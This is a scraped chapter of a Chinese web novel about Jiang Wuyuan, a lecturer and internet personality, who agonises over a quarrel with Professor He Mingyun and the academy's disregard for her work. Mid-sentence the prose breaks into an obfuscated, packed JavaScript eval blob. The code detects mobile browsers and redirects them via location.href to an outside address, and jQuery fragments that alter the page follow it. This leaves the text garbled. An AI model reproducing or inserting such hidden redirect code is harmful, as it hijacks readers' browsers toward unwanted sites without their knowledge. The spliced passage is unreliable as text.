江无远很有素质，既没有破门而出，也没有摔门而去。
她非常安静、非常优雅地走到电梯，徐徐下楼。
在某个时空，也许她会在楼下偷偷抹眼泪，然后被在窗边隐忍目送的贺鸣云看见，再然后，他再也无法按捺心中澎湃的情感，终于冲下楼，把她紧紧抱在怀中（此处应有脸部特写，两双含泪的美眸）——
抱歉串戏了，这里是晋江，不是红果。
实际上，江无远径直走进了学校里的肯德基。
——今天是疯狂星期四来着。
心里受了委屈，不能让嘴和胃也受委屈。江无远决定轻奢一把，点了八块吮指原味鸡、二十块黄金鸡块。
刚取到餐，方溯打来微信电话。
“老师，我们这边结束了。你在哪儿啊？想吃什么，我给你带点？正好我要去万达广场买东西。”
方溯肯定是担心她气得饭都吃不下了。
孩子就是孩子，不知道打工人的心理承受能力有多强。想当年她被导师骂得狗血淋头，被同事阴阳得面目全非，被校领导使唤得疲于奔命，被网友喷得两眼一黑……
那还不是，都过去了嘛。
也太小看老师我的钢铁之躯、铜豌豆之心了。
江无远把鸡块咽下去，说：“小溯，我没事，不用给我带吃的，多大点事儿啊。倒是你没事吧？贺鸣云那个死东西没有为难你吧？”
“没有，完全没有。”
方溯想说，其实有事的好像是贺教授。
江无远离开后，贺教授都懵了，半天没说出句话来，那表情简直可以说是如丧考妣。
方溯问他：“贺教授，还要交代我什么吗？”
贺教授这才缓过神来，表现得像个失独老人，颤颤巍巍、魂不守舍地跟她交代了几句课题工作，就放她走了，看着还挺可怜的。
方溯还想说，嗑归嗑，其实她一点都并不意外两位老师会争论。
江老师和贺教授的研究风格截然相反，火星撞冰山，吵是必然要吵的。
她感到意外的是，这俩人居然能吵这么久。
据方溯对江无远的了解，江老师抛头露面久了，还经历过网暴的洗礼，已经深谙公关的艺术，非常稳重，也比较能装，遇到争论，往往选择优雅闭麦，片屎不沾身。
而据方溯对贺鸣云的耳闻和观察，贺教授性子偏冷，不喜争论，也不屑于争论。遇到不合他心意的人或事，他拔腿就走，懒得费劲，反正他全靠自己，不用求人。
然而刚才，两人如同做了夫妻一般，吵得旁若无人，吵得有来有回，吵得人尽皆知。
是的，人尽皆知。
方溯当时透过虚掩的门缝看到了，一个秃顶的教授路过，听到有人在吵架，又退回来，津津有味地听了好一会儿。
算了，每个人有每个人的桃花，别问是劫是缘。方溯什么也没说，智者不入他人的爱河。
江无远对方溯的内心剧场一无所知，还在电话里宽慰她：“那就行，我猜他也不会迁怒的。你看他对小钟都没怎么样，你比小钟乖巧多了。”
方溯从肖飞飞那里听说过钟若晚，虽然这通电话的初心是安慰江老师，但她此时也忍不住要帮贺教授说句公道话：“老师，其实我觉得贺教授挺惨的，他合作的人没一个对他客气的。你也要说他，博士生也要说他，本科生倒是不说他，但是上他课都在睡觉……”
江无远沉默了一下。“小溯，你老实跟我讲，你是不是也觉得他说的是对的？”
“那倒没有，横向课题没有统一的标准，”方溯实话实说，“如果是比较严肃、传统的横向课题，贺教授的说法也许是对的，但这个课题本身就比较新潮，注重和个体的互动、个体的反馈，我觉得您的研究方式是必要的。”
“就是说嘛，这个老古董。”
方溯犹豫了一下，又说：“老师，贺教授说话是不大好听，但他很负责，如果贺教授是我的导师，我会很高兴。”
江无远知道，方溯的导师徐宇出了名的摆烂，对带的研究生不理不睬，只会摆导师架子，让学生帮他做课题。
“嗯，我知道。”
方溯小心翼翼地说：“而且我觉得，能和合作伙伴争论是件好事，大家互相交流探讨嘛。为什么您会这么生气呢？”
*****
为什么她会这么生气呢？
直到吃完原味鸡、散步消完食、回到家里了，江无远都还在沉思。
她自觉应该并没有受到多大的伤害，她早就知道自己选了怎样的一条路。
在“万般皆下品，唯有论文高”的象牙塔里，她走的社会实践和教学相长之路，被认为是一条小路，甚至是一条歪路。
而与此同时，这更是一条少有人走、缺乏前辈指引，且难以收获尊重和认可的险路。付出许多，回报却寥寥。
不管做的研究多么前沿，田野调查多么深入，只要最终成果不是论文，那就约等于没有价值。
贺鸣云没有说错，在大学，论文发表为王，课题也有高下之分。课讲得好不好，社会实践做得怎么样，关不关心学生，是最不重要、最没含金量、最没有意义的。
也有前辈出于好心问她，为什么不拜拜码头，卷卷论文？何苦做这些没人在乎的事？
可尽管已经奔三，江无远还是幼稚地认为，人不是流水线上的标准化产品，人生短短数十载，应该遵从内心，做自己真正喜欢的事。在还有选择的时候，她不愿意急着向权威和标准低头。
也有同行敲打过她，象牙塔是学究的老巢，人人自矜，高高在上，就是要立精英人设，做网红是会被学者看不起的。
可江无远不觉得做网红有什么不好。
也许最开始，这是她对权威和圈子失望后，为了翻身的权宜之计。但后来，她真的喜欢上了这种传播知识、让理论落地的感觉。网友们的积极互动和支持，逐渐治愈了她读博时期的阴影，带给她成就感，和数不清的灵感。
然而，然而。
江无远毕竟身处大学的考核体系之中，她很难完全无视这套标准，也很难在听到贺鸣云的话后，心里没有一丝波澜。
江无远非常明白，贺鸣云是在就事论事。他的批评之所以激怒了她，只是因为他无意间触发了她内心深处的自我怀疑：
是否我所有的付出，我获得的所有成就，在严肃学术殿堂里，只是一个笑话？
是否随着时间的流逝，我努力打造的一切，我所谓的社会影响力，都会烟消云散？
学术成果的不可见性，前辈和同事的不认可，晋升路径的不明朗……始终悬在头顶。
她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093567|195550||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
才二十九岁，知行尚不能合一，时不时还是会觉得有些别扭，疑心自己是不是真的矮传统学者一头，自己是不是退而求其次，是不是需要更努力地自证优秀。
就好像，你其实是个快乐、自由的不婚主义单身女性，你笃定自己不会糊里糊涂地婚恋，也享受目前的单身生活。但在现代社会，你依然会被很多人认定是“怪人”“剩女”；在很多场合，你依然需要证明自己选择单身的正当性。
江无远最好的朋友何回，曾安慰她说，你要钱有钱，要闲有闲，还不会被偷一作，不用敬老东西酒。学校里那些人知道你过得这么爽吗？跟他们解释什么？偷着乐就行了。
是啊，她有家人和闺蜜的支持，有学生的尊重，还有网友的积极反馈。可江无远依然希望，有哪怕一个所谓的“学术圈成功人士”，肯定、尊重她的工作成果。
过去短暂的一段时间里，她一度以为，这个人会是贺鸣云。
他欣赏她的课，了解她做的实践项目的含金量，还不戴功利的有色眼镜看学生，所以她以为，她以为——
也许他会明白她，也许他会支持她。
可是，可是。
最伤害她的，不是贺鸣云对她研究方法的质疑，也不是他对网红的贬低，而是那句“也许是因为和你合作的同事帮你兜底了”。
脱口而出的话，往往是说话人潜意识的释放，体现了说话人的真实想法，这就是心理学所说的“弗洛伊德口误”。
在贺鸣云的潜意识里，他是说一不二的主导者，是那个负责兜底的人；而江无远只是课题的第二负责人，论文的第二作者，那个需要听他的意见和指令的人。因为和他相比，她只是一个缺乏学术成果的网红。
贺鸣云毕竟是传统考核标准下脱颖而出的学术天才，他正昂首阔步走在康庄大道上，也许在某些节点，他们的道路会短暂交错，但他们，终究是不一样的。
她终究还是需要自己摸索着，走这条小众的道路。
*****
江无远点开朋友圈，自虐般又一次点开收藏夹里的文章。
是几天前的一则新闻：
《喜报！我校新闻与传播学院院长王圣伯教授荣获“新闻教育良师奖”！》
杂种，伪君子，居然越混越好了。
文章写道：“近日，由学界和业界专家组成评审委员会评审，经基金理事会审议，我校新闻与传播学院院长王圣伯教授荣获‘新闻教育良师奖’。该奖项以清华大学新闻与传播学院首任院长范敬宜命名，是国内首个、也是目前唯一一个新闻教育类奖项。
“王圣伯，1967年生，中□□员，教授，博士生导师，现任新闻与传播学院院长。主要从事新闻理论、传播学理论、舆论学研究。历任□□学位委员会学科评议组成员、《新闻与传播研究》副主编等职务。中国知网收录文献近两千篇，总引超两万次。出版独著、第一署名著作、独编著四十余部……”
不明真相的群众一定觉得他是个杰出的学者、优秀的老师吧。
就算是对真相略知一二的同行，大概率也不会谴责他虚伪、自私、算计、冷漠，而只会羡慕他、佩服他，更想成为他。
他们只会谴责江无远这样的异类不学无术、不知进取。
江无远恶向胆边生，把手机扔了出去。